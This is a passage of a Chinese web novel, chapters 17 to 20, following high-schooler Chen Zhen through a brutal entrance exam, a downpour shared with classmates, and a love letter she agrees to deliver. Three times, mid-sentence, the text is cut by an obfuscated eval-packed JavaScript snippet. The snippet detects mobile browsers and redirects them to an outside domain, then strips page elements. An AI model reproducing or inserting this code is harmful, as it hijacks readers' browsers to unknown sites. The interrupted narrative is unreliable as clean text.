最惨的还是周清越,他作为学生代表发言,淋着雨说了二十分钟,回去发了低烧,陈真陪着他去药店买了退烧药,吃完还烧,又请假回家休息了一个晚上才好。 刚退完烧,第二天回到学校,就要面临开学考。开学考的卷子难得要上天,听说很多题都取自高考原题。初生牛犊不怕虎,陈真觉得这么难的题,她考不好,别人肯定也考不好,拿着考试卷子出来笑眯眯的,班主任碰见她,看她一整天乐乐呵呵的,还以为考的题她都会。 好不容易考完试,终于可以认识高中各科的新老师,有的特别凶,有的特别温柔,但无一例外学历都特别高。同时一大未解之谜也产生了,就是为什么这两类老师一般关系都很好,明明感觉性格完全不一样。 和初中不太一样的还有一件事,就是下午放学后每天准时响起的学校广播电台,广播的声音通过扩音器传遍学校的每个角落,学校广播每天都会有一个固定主题,有时会讲一部电影,有时会推荐一本书,结尾的时候还会播报第二天的天气预报。 南川市夏季的气候变幻莫测,常常一个星期让人体验完春夏秋冬,学校对于带手机的问题查得又严,住宿生只能通过每天这个时候的广播去了解第二天的气温。 每天放学之后,陈真跟211宿舍其他三个人一般在宿舍洗澡,一边洗一边听着广播哼歌,外面等洗澡位的就会聊天,宿舍整个闹做一团。但是无论多吵,只要广播里开始说“现在开始播报明天天气预报”这句话,庞欣畅一定会立马尖叫出声—— “Stop!Stop!” 此声一出,整个宿舍就会陷入奇异的安静,直到听完天气预报。 当然了,进入一个新学校,最万众瞩目的就是社团招新。 可惜这事一直没安排,问就是等通知。 等啊等,第二周到了,第二周都快过完了,没等来社团招新,等来了一份成绩单。 南川高中高一开学考的成绩下来了。 一班一片哀鸿遍野,虽然一班是整个年级中考成绩最差的班,但能考进川高的绝对都曾经是自己初中的佼佼者,如果说之前大家都还有着一些优等生的骄傲与优越感,那这次的开学考可以说把大部分人对自己十几年的优秀滤镜一拳打碎。 在绝对的实力面前,所谓的骄傲不堪一击。 而在川高,拥有绝对实力的人,遍地都是。 “开学考那卷子真的是人能写出来的吗?能考这么低我也是有心理准备了。” “特别是数学那道压轴题,别说解题了,我连题目都看不懂。” “知道为什么看不懂吗?那是去年的高考题!” “高考题!学校忘了我们才刚刚中考完吗?!” “就是啊,我们都没学过,不知道一个开学考搞这么难干嘛,谁写得出啊,这不搞人心态吗?” 大家义愤填膺,其实也怪不了大家这么生气,卷子出得确实太超纲,大部分都是高二或者高三才会接触到的知识,如果没有提前学完高中课程,很难拿到一个稍微看得过去的成绩。 这种情况在其他学校绝对不会出现,怕打击学生的信心与学习热情,但是这里是川高。 这套完全超纲的开学考数学卷,全年级拿满分的有将近五十人。 陈真想起开学典礼上校长说的一句话。 在川高,你要么天赋异禀,当天才; 要么不啻微茫,造炬成阳,一步一个脚印,努别人不愿意努的力,走别人走不下去的路,那你可以当地才。 一班在一楼,教室外的走廊就摆着光荣榜,那火红的光荣榜三个字下面,整齐列出了许多的名字,红与金交织,在盛夏金灿灿光线下闪耀着光芒。 那是荣耀的象征。 或者说,那是天才的领地。 陈真坐在窗边,视线从光荣榜上移开,看向自己的成绩单。 她撑着脑袋轻轻吐了一口气,在空白的纸页上写下两个词——天才、地才。 她从小就不是安分学习的小孩,上课的大部分时间都是撑着下巴发呆,目不转睛地望着窗外的蝴蝶、蜻蜓还有天空的飞鸟,或者假装看书,实则脑袋里已经开始琢磨等会儿放学去哪家小卖部买零食、回家要去哪个小伙伴家逗猫…… 老师也拿她没辙,因为一到考试,她总能考得不错。这样的日子一直持续着,直到六年级准备小升初她才有所收敛,稍微在学习上认真了一段时间,按妈妈的意见参加了阳至中学的单独考试,虽然是如此短暂的上心,但她考得很好,十分顺利地收到了阳至中学这个数一数二的初中抛来的橄榄枝。 上了初中她还是延续一贯的开心第一作风,别人刷题她玩耍,别人上课她画画,别人吃不下饭是因为写不出题难过,她寝食难安是因为上一局游戏被打得连跪郁闷得很;出成绩的时候,别人哭得稀里哗啦是因为成绩不好,她眼眶红红是因为看的漫画迎来了badending。 初二她因为替同班的一个女生出头打了架,教导主任要给她处分,她不服,问凭什么?教导主任说因为她不学好,不仅要给她处分,还要给她调班,从重点班调到普通班。 她又问凭什么说她不学好? 教导主任说你看看你自己的成绩,这叫学好吗?怎么还能呆在重点班呢? 陈真当时沉默了几秒,然后看着教导主任说:“如果下次我考到年级前十呢?” 听到一个小女生说出这种话,教导主任也愣了几秒,然后哈哈大笑起来,笑够了才接着说:“你要能考年级前十,想去哪个班就去哪个班!” 然后就是十天之后的月考她考了年级第十。 教导主任亲自送她回到原来的班。 后来,她的初中在充斥着游戏、漫画书、跆拳道、画画、打球的日子里晃晃悠悠过到了初三。到了初三,在周围人越来越紧张的备考,学校每日宣扬中考有多么重要,老师家长轮番上阵等一系列操作后,终于引起了她一点点的焦虑,她在这时才开始考虑上哪个高中以及怎么才能考上的问题。 于是她开始学习,甚至前半年都只是正常学习,远远算不上努力,直到下半年她忽然灵光一闪,突然转变目标,想考南川高中了,这时她把自己的成绩和川高历年录取线一对比,她愣了十几秒。 然后接下来的半年,她才开始算得上努力学习。 其实她这种努力,和许多人比起来,实在微不足道。 但南川高中的录取通知书还是放在了她的手上。 总之,在陈真前十几年的学习生涯里,轻松顺利是代表词,身边也不乏有人说她是天才,甚至久了,她自己也这么觉得。虽然旁边有个周清越这种绝对优秀的存在,不停打碎她对自己天才的认知,但她还是觉得自己即使算不上大天才,也得算个小天才吧。 毕竟像周清越这样有天赋还够努力的人是极少数的。 直到现实狠狠打了她的脸。 在川高,像周清越这样的人才是大多数。 比她聪明,还比她努力。 看看光荣榜上一连串满分或者接近满分的成绩,再看看自己那惨不忍睹的成绩单。 这么多年,陈真第一次开始觉得,自己可能不过是个很平庸的人。 如果说过去自己的满身骄傲是被周清越一次次打碎一点点,那现在,在这个遍地天才的地方,就像在她面前摆了一面镜子,它一个字都没说,但简单明了地告诉她,她以为的所谓天赋与实力,只是皇帝的新衣而已。 都不用打碎,因为直接告诉你那些根本不存在,是你的错觉罢了。 周遭依旧嘈杂喧闹,大家还在讨论着成绩与试卷。 陈真把成绩条贴在本子的第一页。 然后拿起笔,看着刚刚在纸页上写下的天才与地才两个词。 握笔的手悬在半空。 几秒之后落下,她划掉了“地才”,留下了“天才”。 在天才与地才之间,她还是相信自己是天才,她相信自己的骄傲。 只是需要一点时间证明。 ** 上午最后一节课是班主任的英语课,讲评开学考的试卷。 陈真转着笔一边听一边思考,老师说的都是分析宾从、定从这些语法问题,她其实都掌握得差不多了,可这张卷子还是考得这差。 她没怎么听讲评,把自己的错题都看了一遍,确定自己语法基本没问题,笔在耳边不停的转,视线扫过一行行英文字母,突然明白问题,就是单词量不够。 她在学习上有点懒。能一步到位的事绝不走第二步,尤其是背单词这种事,挺让她头疼。 她几乎没怎么特意背过单词,之前的英文词汇量基本来源于平时写英语卷子、看英文电影或者全英文书,记住了就记住了,没记住就算了。 偏偏这样积累下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562531|142778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的词汇量,完全够中考用。 可是很不巧,现在不够用了。 下课铃响起,上午的课终于结束,整栋教学楼瞬间喧腾,如同烧开的滚水沸腾,头顶轰隆隆传来杂乱急促的脚步声,那震感让正在背单词的陈真停了下来,趁着这个间隙,拿起水杯喝水。 “陈真你今天又不去抢饭?”庞欣畅拉着徐静宜往门口跑,路过陈真的时候敲了敲她的桌子。 “嗯嗯,你俩先去。”她喝着水,抬手挥了挥,跟个领导似的。 “你和许愿不吃不喝的,要成仙啊?” “那帮我和许愿带两份西米露,还不好?”陈真放下水杯,眨巴着眼睛看向庞欣畅。 她的眼睛亮亮的,笑起来眉眼弯弯,看得人心都软了。 但庞欣畅直接狠心拒绝:“帮你们带了,你俩都不好好吃饭,不带!” 刚开学时211宿舍都是一起去食堂吃饭的,但许愿和陈真中午都没有什么胃口,加上都是有点懒的家伙,更加不想和干饭大军去抢饭了,于是四个人就分成了两波,徐静宜和庞欣畅两个干饭人下课铃一响就立马弹射起飞冲去食堂,而陈真和许愿两个懒人一般都会在教室待到没什么人了再走。 见庞欣畅不吃这一套,陈真又可怜巴巴看向徐静宜:“舍长大人,拜托拜托。” 坐在旁边的许愿更是我见犹怜:“拜托拜托~” 许愿真是太可爱了,声音软软的,脸蛋糯糯的,陈真决定以后撒娇这种难事还是交给许愿好了。 “好啦好啦,我帮你们带。”徐静宜笑起来,一脸宠溺。 “你怎么叛变了!”庞欣畅气鼓鼓质问。 “哎呀,你知道我对卡哇伊没有抵抗力,”徐静宜眼睛朝陈真和许愿指了指,“更何况还是两个卡哇伊。” 庞欣畅皱着眉看去。 陈真顺势双手撑脸,一脸无辜地朝两人眨巴眨巴眼睛。 庞欣畅一脸冷酷,丢下一句:“你就宠她们吧。”但是最终还是没憋住表情,笑出了声。 为掩饰尴尬她赶忙说:“快点走了,不然别说你的卡哇伊们了,我俩都得饿死。” 临走还不忘碎嘴一句:“真服了你们三!” 中午放学后的十分钟是教学楼一天之中最吵的时刻,一班的位置刚好在大门出口,整栋楼下来的人都会从一班门口路过,而且大部分人都会在光荣榜前停驻讨论。 不过为了抢饭,大家也不会停留太久,扫一眼上面高挂的名字和分数就匆匆赶去吃饭了,陈真饶有趣味地撑着下巴,看着外面的人群聚拢又散开,走了一波又来一波,周而复始,她也不嫌无聊和吵闹,反而觉得很适合发呆和放空。 时间一分一秒过去,不知不觉走廊的人群从拥挤慢慢变得稀疏,渐渐已经没有人了,整栋楼都安静下来,只剩穿堂风吹过树梢的声音。许愿把上午讲评的数学卷子错题都写了一遍,把笔放回了笔袋。 从放空中回过神,陈真看向许愿:“写完了?” “差不多,”许愿应道,“就是有道大题还是不太懂。” “哪题?”陈真靠过去看卷子。 “这个导数题,怎么求导都不对。” 陈真俯身去看题,分段函数求导的问题。 “这个啊,要分三种情况讨论,当x>0、x<0、x=0。” 她拿笔在许愿的草稿纸上迅速演算着,一边写一边讲,她写字快且随意,龙飞凤舞,不一会就填满大半张纸。 “分段点两边直接求导完,然后分段点要单独考虑……” “那我怎么求导出来的数和答案不一样,你看看我的草稿,就这……” 两人终于讨论完压轴题,陈真悠悠地伸了个懒腰,侧头看向窗外,天空渐渐阴沉下来,看来一场大雨要来了。 刚打算收拾书包回宿舍,空荡的走廊突然出现一个人,陈真余光瞥见,觉得还挺熟悉。 于是她手上收着东西,眼睛看向那个身影。 虽然没见过几面,但那人实在属于是见一面就很难忘记,所以她一眼就认出来了。 就是上次在周清越旁边的那个漂亮女生,二十八班班长。 上次见她时,她穿着军训服,这次她穿着英伦风的白衬衫搭绿领带,裙摆刚好到大腿,露出白皙修长的双腿,洋溢着盎然的生命力,她的头发也没有绑起来,取而代之的是精致的公主头,长发随意散落于腰间,平添几分温柔。 穿的是小皮鞋,背的是香奈儿双肩包。 在这个同龄人都青涩暗淡,灰头土脸的年纪,她已经明艳美丽得像个公主。 18. 十八颗星星 走到窗边时,方舒月忽然侧头看过来。 眼神有些惊讶,然后变成淡淡的笑意。 她带着惊喜的声调叫了一声许愿的名字,没等许愿说话,她十分自然走了进来,一把抱住许愿的脖子,亲昵有加。 她笑着:“好久不见。” 许愿看着她,没说话,只是有些无措地抬手碰了碰方舒月箍住她脖子的白皙小臂。 动作太轻,方舒月像是没感受到,又凑近了些,差不多贴在许愿耳边。 “我不来找你你都不找我,好难过。” “我……”许愿想说话,却又有点艰难。 陈真伸手想提醒方舒月,抱得太紧了,只是手还没碰到,方舒月就站起身。 嘉伯丽尔的清淡香味弥散,陈真想起第一次遇见她,空气中就是这个味道。 她随意坐在前桌,懒懒支着脑袋,顺手拿起桌子上许愿的数学试卷,许愿伸手想拿回来,却抓了个空,卷子还没来得及收,上面红蓝黑三色的笔记密密麻麻。 方舒月看了好一会儿,看完正面,哗啦一声,又翻到背面,在安静的教室里格外响。 落针可闻时,她忽然笑了一下,把卷子还给了许愿。 许愿把卷子放回书包,站起身,有些急切:“我准备走……” “对了,”直接打断未说完的话,方舒月抬头看着许愿,“正好饿了,我们一起去吃饭呗?” 说道“我们”两个字时,眼神扫过许愿,接着看向陈真。 陈真没有避开她的视线,坦荡荡对上去,看了一会儿,她也站起身,背上书包,替许愿答:“不好意思,舍友给我们带吃的了,就不去了。” 方舒月没回,站起身挽过许愿的手臂,看着她,理所应当道:“那走吧,一起回宿舍。” 许愿问:“你不去食堂吃饭了吗?” “我遇到一个很无聊又甩不掉的人,我一个人走的话,估计又要黏上来,很烦人。” 她随手撩了撩长发,紧了紧挽着许愿的手臂:“帮帮忙咯。” 说完这话,她没去看许愿的反应,转而看着一旁的陈真:“可以吗?陈真。” 眼睫一顿,陈真抬眼看她。 突然被叫名字,不免有些意料之外,她居然记得她,还记住了她的名字。 “你记得我?”她问。 “对啊,听周清越说过你,”她一边走一边说,“我又不是周清越那个脸盲。” 这话说的,还挺亲昵,很熟的朋友之间才会有的打趣。 ** 走到半路,天空逐渐阴沉。 大片大片的积雨云聚集过来,灰蒙蒙笼罩下来。 南川夏季的雨总是这么不确定,可能上一秒晴空万里,下一秒就倾盆大雨,让人捉摸不透。 刚反应过来,冰凉的雨滴已经砸在身上,三个人里只有方舒月带了伞,但是一把单人伞,最多遮挡两个人。 雨越下越大,直至变成豆粒大小的雨滴。 这些雨滴砸在身上甚至有点疼痛感,如果继续拖下去,三个人都要淋成落汤鸡,说不好还会发烧感冒。 “你们俩挡好。” “我跑过去就行。” 陈真从小身体素质好,淋会儿雨也没什么大不了,她把自己的背包脱下来,放在头顶,准备一鼓作气跑回去。 但是她刚跑出去两步,就被人拉住手臂一把扯了回去。 白茫茫的雨幕中,她转身对上了方舒月的眼睛。 方舒月撑着伞,隔着厚厚的雨,闷雷乍响,世界都是滚滚的雷声,声音传播得很不清楚,只能通过口型勉强看懂。 “一起走!”她说。 陈真愣了一下。 暴风雨的前奏彻底奏响,风裹挟着大雨排山倒海呼啸而来,林荫大道两侧的高大树木被吹弯了腰,在狂风暴雨里艰难挺立。 接近午休时间,整条路上几乎没人。 只有三三两两的几个,把校服脱下来盖在头上的朝前飞奔的男生,小跑的女生。 公寓大门前两个老师撑着伞,站在公寓区大门口,朝她们这边使劲招呼,声音穿过重重的雨滴灌进耳朵里,大声又急迫。 “后面的跑快点了!一点准时关门了啊!” “快点快点!” “后面的再快点!” “跑这么慢不想进来了?!” “还有走的那几个!这时候了还慢悠悠老奶奶散步啊?” 川高不查寝,但门禁十分严格,说一点钟关门就一点钟关门,一分钟都不能耽误,如果超过门禁时间,那是不可能进去了,也别想午休,只能冒雨跑回教室躲雨去。 冰凉肆虐的雨不断扑在脸上,头顶是滴滴答答砸在伞上的敲打声,天空乌云密布,雷电时不时划破天空,轰隆一声,伞下的女孩们就尖叫不断。 老师的催促声、雷电声、风声、雨声、女孩们尖叫声交杂在一起,挤在小小的一方天地里。 三人互相牵着手往前跑,顾不上水坑,一脚踩下去,雨水溅在身上,根本不能停下,因为前方的逃生大门即将关闭。 就像世界末日来临的前兆,如此充满压迫感,紧张而刺激。 冲进公寓大门的那一瞬间,伴随着的是铁门划过水泥地摩擦出的刺耳声音以及大门上锁的一声响。 三个人都重重喘着气,累的连话都说不出一句了,彼此看了看对方,都狼狈得不成样子。 到了宿舍楼底下,方舒月收起伞,伞上的雨水落了一地,她身上几乎湿透,精致的小裙子和小皮鞋都被打湿。 “有纸吗?”她问陈真。 陈真靠着墙边慢慢缓过来,还是有点微微喘气,她朝她点点头,然后拉开拉链从包里掏了一会。 掏出一包湿哒哒滴水的纸巾。 啪嗒,啪嗒,两滴水从纸巾的塑料包装淌下来,在瓷砖地板上落下两颗水珠。 三个人一时之间都没说话。 方舒月擦衣服的动作停住,然后有些犹豫地接过拿包“湿纸巾”。 “……这是要给我洗澡吗。” 刚刚是方舒月撑的伞,但三个人里她淋的雨最多,甚至头发都湿了一些,她应该是把伞偏向陈真和许愿,不然也不会淋成这个样子。 “方舒月,”陈真突然叫住她,一脸认真地问,“舒服的舒,月亮的月?” 方舒月抬头,微微昂起下巴,撩了一下垂在肩膀湿漉漉的头发,看向陈真,纠正道:“舒畅的舒,日月同辉的月。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562532|142778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这不是一样的字吗?陈真心想,但好像又不一样。 点点头,陈真重新叫了一遍她的名字:“方舒月,谢谢你。” “谢什么?”她侧头。 “你原本不用变成落汤鸡的。”陈真说。 她本来可以自己撑伞或者和许愿一起,那把伞还是挡得住两个人的。 方舒月说:“那你就要变成落汤鸡了。” “那样只有一只落汤鸡,”陈真指指自己,又指指许愿和方舒月,“现在成三只了。” “一只落汤鸡和三只落汤鸡——” 方舒月无所谓地耸耸肩,笑道:“也没什么区别啊。” ** 那场突如其来的暴雨仗着夏天的偏爱,肆无忌惮地迅疾而来,又毫不留恋地转身离开。盛夏的阵雨总是这样,来得迅猛,走得利落,一点也不拖泥带水。 下午放学,外面早已云收雨止,只留下树叶和草地上还未蒸发的细小雨珠,空气中散发着泥土的气味,橙红的夕阳从山边缓缓落下,晚霞滚着明灿的光,热烈燃烧。 穿着蓝白色校服的学生们从各栋教学楼鱼贯而出,今天是周五,住宿生们终于可以回家,许多人把书包一背,就冲向了校门口。 陈真把要带回家写的五三、金考卷、试题调研都整理好塞进书包,拿起来掂量掂量又觉得太重了,而且她不相信自己真的会写,带回去其实就起到一个心理安慰的作用。 思考了一下,她把放进去的五三拿出来丢进抽屉,这书太厚了,又重,懒得背。 收拾好,她把书包放在一旁,看了看时间,还早,于是坐下来拿出手机,戴上耳机开始放最近在追的日漫《棋魂》。 陈真最怕麻烦,遇到人多的情况尽量错开时间,每到周五下午放学的这个时候校门口外的公交站总是人满为患,天这么热,人又多,好不容易等来一辆公交车,发现根本挤不进去,就只能接着盼下一辆。 有这个时间她都能追两集番了 宿舍的其他三个人都走了,庞欣畅有家里人来接,一放学第一个冲出去了,徐静宜报了一个数学补习班,刚从学校下课就又要赶去市中心少年宫那块儿上课。 许愿显得神秘多了,她一放学就准备走,一本书都没有带,连书包都没有背,陈真问她回家吗?她说不回。陈真又问她那去哪儿?许愿沉默了一阵儿,没说话。最后留下一句以后有机会和你说,然后走了。 其实今天一整天许愿的状态都不太对,闷闷不乐的,中午遇到方舒月之前还好一点,陈真想办法逗她她也会笑。 可遇到方舒月之后一整个下午,许愿就像蔫了一样,心事重重,上物理课了桌上摆的还是语文书,看似在看书,可是一整个下午都没翻一页。 陈真想问她发生了什么,但不知道怎么开口,于是想着周末约她出来打打游戏射射箭什么的,随便再问问什么事让她这么不开心,到时候再想办法一起解决。 教室里就剩七八个人,有些是等家长,有些是和陈真一样打算等人少的时候再走。 夕阳西下,余晖渐渐斜照进教室,拉长的光影落在高高的书堆上和写满各科周末作业的黑板上,从头到尾。 夏天就像窗外悠长的蝉鸣那样没有尽头。 19. 十九颗星星 陈真坐在椅子上心无旁骛地看着热血动漫。 正好看到还是小孩的主角进藤光和曾经获得大学生三大棋赛冠军的门协龙彦对弈,两人进行围棋对局,看得心都跟着紧张高悬。 随着黑子白子一颗颗落下,那场棋局迎来结尾。 最后一子落下,龙彦垂下头颅:“我输了。” 小光看着他说:“多谢指教。” 小光准备离开,龙彦问出心中的疑惑:“你下围棋多久了?” 像是终于等到这个问题,小光放下书包,嘴角扬起一抹笑。 镜头随着特效音乐拉远,佐为站在小光旁边,光打在他们身上,他们笑着伸出一根手指—— “一千年!” 一千年! 这句话从耳机传进陈真耳朵里,脑袋嗡了一下,心脏狂跳,她被狠狠击中了。 立马点下暂停,她要先平复一下激动的心情才能继续往下追,脑海里还在不停回荡这动漫画面。 龙彦不明白他明明很厉害也很努力,却输给一个孩子,可他不知道,他真正的对手是小光身后的佐为——一个学了一千年围棋的棋神。就像许多人郁闷于输给天才一样,可是大家忘了,天才就像《棋魂》里的小光,他们如有神助。 不公平的棋局,没什么值得郁闷的。 陈真撑着脑袋又开始莫名其妙的思考,任思绪飘得越来越远,但她自己不喜欢这样,只是脑子总是控制不住想东想西,她强制按下脑中的暂停键,看动漫就是看动漫,何必想这么多。 刚收复好心情,正准备接着看动漫,旁边的窗户突然被人一把推开。 点手机的手停下,陈真疑惑看去。 “你好,你找谁?”她摘下一只耳机。 做靠窗户座位的这几天,她已经习惯了时不时有别班的人来一班找人。 开窗的是一个短发女生,她先是盯着陈真看了好一会儿,吓得陈真把她最近干过什么坏事都想了一遍。 结果她什么都没说,转过身,探头和身后一个用手捂住脸的马尾女生说话,好像在确定什么。 那个女生不知道出于什么原因,一直捂着脸,两人交流之后,马尾女生朝短发女生重重点了点头, 然后短发女生转头,郑重其事地看着陈真:“你好!请问你是陈真吗?” “对,是我。”陈真犹豫着把另一只耳机也摘了下来,“……怎么了?” “就是有个事儿想跟你商量商量。” 陈真把手机也关了:“……什么事?你说。” “我闺蜜比较害羞,不好意思开口,所以我来帮她问问,”她指指马尾女生,接着说,“想拜托你送个东西。” 送个东西?能有什么东西这么特别,需要她来送,陈真几乎一瞬间就明白了两个女生的目的。 果然,下一秒就应证了她的想法。 “能帮忙把这个送给周清越吗?” 熟悉的场景,熟悉的氛围,一样的话语,陈真感觉自己穿越了。 看着那个粉色的信封,陈真有点头大,她没接,只是说:“你们直接给他就行了。” “不行的,他现在什么东西都不收。” “什么都不收?”陈真有点纳闷儿。 “对!而且都是——当场拒绝,一点面子也不给。”短发女生说。 陈真想象了一下周清越摆着一张臭脸,手里可能还在玩他那个破弹力球,然后居高临下特冷淡地丢下一句“哦,我不喜欢你”。 她已经在心里认定,周清越这个混世魔王一定是这样拒绝别人的。 好装。 好可怕。 忍不住打寒颤,陈真立刻拒绝:“那我更不能送了!” “为什么?” “你们去送,可能只是被拒绝,但是我去送,他一定会骂我的。” 最重要的是,她骂不过他。 “为什么一定要找我帮忙?”陈真问。 想了想,短发女生才回答道:“我有个朋友是你初中同学,她说你能帮忙给周清越送东西,而且你帮忙送的东西周清越都收了。” 愣了好一会儿,陈真才听懂这句简单且复杂的句子。好家伙,现在她的业务覆盖范围这么广吗?直接扬名四方了。 “呃……”陈真扭开水杯盖子,想着怎么拒绝比较委婉。 接着摆摆手一本正经,“那是初中,这个业务我现在不接。” 她以前确实帮很多人给周清越送过东西,吃的喝的玩的用的,一大堆。但是说实话她真的不明白为什么这么多女孩喜欢周清越,甚至……还有男生。他这么有魅力?她怎么一点没感受到,这哥不就是长了张好脸,成绩好一点嘛。 那性格真是太恶劣了,她经常被他气得牙痒痒,想当初她学习跆拳道的一大初衷,就是要踹飞周清越。如果她这十几年的生涯中要列一个黑名单,那周清越和她哥并列第一。 “可是我闺蜜真的很想把这封信送出去。”短发女生有点着急,看得出来她真的很想帮自己的闺蜜。 一直捂着脸的“蒙面女郎”迈着慢吞吞的步伐走过来,扯着她闺蜜的衣服,不好意思地小声说:“算了,我们走吧……” “不行,再争取一下嘛。”短发女生对马尾女生说。 然后她俯下身,压低声音,语气带着些恳求:“我闺蜜我不想看到她难过……” 陈真沉默。 她知道稍微胆大外向一些的,都自己去送了,绕了一圈特地来找她帮忙的女生肯定都是心思比较细腻,性格内敛的,她们想给自己无处安放的喜欢一个归处,这没有什么问题。 而且她其实能感同身受,在压抑平淡的青春里,能够默默暗恋一个人,是为数不多的小欢喜,不应该连这点快乐都要剥夺,所以之前每个找她帮忙送信的女孩,她基本都帮了。 可是上次帮忙送东西给周清越,他就特别不高兴,还跟她说以后再送他就生气了。 想来想去,陈真下了决定。 大不了被那家伙骂两句,也没什么大不了的。 “给我吧。” 她接过了那个粉色信封。 * 不知道看了多久的动漫,陈真感觉有点累,反手揉了揉肩。 抬头发现外面的天际已经暗沉下去,教室里不知不觉也只剩下她一个人。 黑板上的钟表快要指向七点。 竟然已经这么晚了。 收拾收拾东西回家吧,再不走就要赶不上72路公交的末班车了。 试卷、作业、笔袋都放进了书包里,她背上包,把教室的窗户都关好,走到讲台上拍下黑板上各科的周末作业。 门外走廊上传来一阵脚步声和说笑声,声音越来越近,听出是几个男生在嘻嘻哈哈。 陈真拍好作业,走出教室。 差点撞上他们。 三四个人勾肩搭背,在聊游戏装备问题,正说到激烈的地方都蛮激动的。 其中一个人腿上打着石膏,手臂夹着拐杖,整个人呈金鸡独立状,一拐一拐地蹦哒着。 还看到两个熟人。 谢白扶着瘸腿的金鸡,周清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562533|142778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越也在,他看见她,先是愣了一下。 上次他发烧,她虽然陪他去买药了,但只是出于好心。她和他其实不算和好了。 他还躺在她手机的黑名单里呢。 “要不要一起回家?”周清越突然问。 他平时都是骑他的那辆黑色山地车上下学,陈真寻思半天也想不出那辆单车哪里有副座:“我坐你车轱辘上吗?” “可以啊,滚两滚就到家了。” “……” 陈真实在不想理他了。 “诶?”那个金鸡好像看到什么有趣的东西,眼睛放光,指着陈真手里的信封,“这啥玩意儿?” “看着有点眼熟嗷。”他脑袋左右晃着,分享趣事一样,“是不是?” 和周清越玩的,果然都不是什么好人。 陈真看他这个好事大爷的样子,真想一脚把他剩下的那条腿踢折。 信封粉色的,接口处贴着个爱心贴纸,就差写上情书两个大字。 她本来打算把信放进书包,又担心压坏了,于是想着去学校对面的文具店,所以拿在手上。 如果可以,她真想现在直接给周清越,省得回家还要找他一趟,但是闲杂人等太多,这个时机不太好,她还是找一个合适的机会给他比较好。 见陈真脸色不好,周清越知道她不喜欢这种打趣。 “不会说话就闭嘴。”他说。 拄着拐杖的金鸡也知道错了,委屈道:“这不是开玩笑嘛。” “好笑吗?”周清越看着他。 “不好笑不好笑,我闭嘴。”金鸡立马捂住嘴。 看周清越把他收拾得差不多,陈真也不想跟他们几个纠缠,刚准备走,周清越叫住她。 见她不说话,他拿出一把小电驴的钥匙,在她面前晃啊晃:“我搭你。” 陈真看了一眼,没什么兴趣似的:“算了吧。” 她望着那个瘸腿的金鸡:“你有空的话搭他吧,他看着比我需要人搭。” 那个金鸡刚想说话,被周清越懒懒打断。 “哦,他不需要。” 陈真关上教室前面的门,简短回道:“哦,那我也不需要。” 她刚走出去两步,想起之前借林斯言的《查理九世》还没还,于是停下脚步,转身朝他们问道:“你们班刚刚放学吗?” “放了有一会儿了,我们几个在教室放歌,玩了一会儿,走得算晚的。”那金鸡回道。 “那林斯言呢?”她问,“他还在教室吗?” “他?早走了吧。”金鸡问,“你找他干嘛?” “还个东西。”陈真实话实说。 “什么东西啊,教室门还没关,你可以上去放他桌子上。” “对了,你知道他做哪里不?就第三组第张五桌子。” 没想到这金鸡虽然嘴巴贱了点,为人还挺热心,全程都是他回应她,倒是周清越一点不带搭理她的。 “不用了,我亲自给他比较好。” 陈真说完,转身直接走了。 …… 陈真走之后,金鸡突然暴起,指责起周清越。 “你啥意思周清越!啥叫我不需要?这车还是我借你的呢!” “字面意思,要我给你解释啊?”周清越心情不好,冷冷瞥他一眼。 金鸡再次闭上了嘴,他感觉他再说下去,仅剩的这条好腿估计也危在旦夕。 “不需要,越哥,不需要。” 周清越抬脚就走。 “滚。” 言简意赅。 20. 二十颗星星 公交车站的人已经渐渐稀少,陈真背着书包站在站牌旁边。 不知道要等多久,她点开TED演讲的视频,然后戴上耳机,听着正宗流畅的英文一句一句传进耳朵里。 她的数学成绩还行,不至于拖后腿,语文成绩又拉不开差距,仔细想想,主要问题在英语这一个科目上面。 上次她把林斯言的微信加入黑名单之后,林斯言一直没说什么,没问她原因也没叫她加回来。 只是月考后的晚自习她去办公室找英语老师讨论题目,正好碰上他去那拿资料。 两人对视了一眼,谁也没打招呼。陈真接着问老师问题,林斯言拿完资料却不走,拉开她旁边的椅子坐了下来。 讨论了半个多小时,终于把整张卷子说完了,她起身跟老师说再见,林斯言跟她几乎同时站起身。 一起走在走廊的时候,林斯言先开口:“这张卷子你只能考120?” 陈真没说话。 林斯言接着说:“像我们这个层次的人,英语这一科默认要考满分或者接近满分的,如果只考120,接近三十分的分差你要去哪里找补回来?” 陈真反问他:“那你说怎么办?” “怎么办啊。”卷子弯成一个卷筒,林斯言轻轻敲了一下她的后脑勺,“把我从黑名单放出来就告诉你。” 到了楼道口,两人一个要往上走,一个要往下走。 林斯言走上楼,留下背影,对她说:“别忘了说好的,我在五楼等你。” 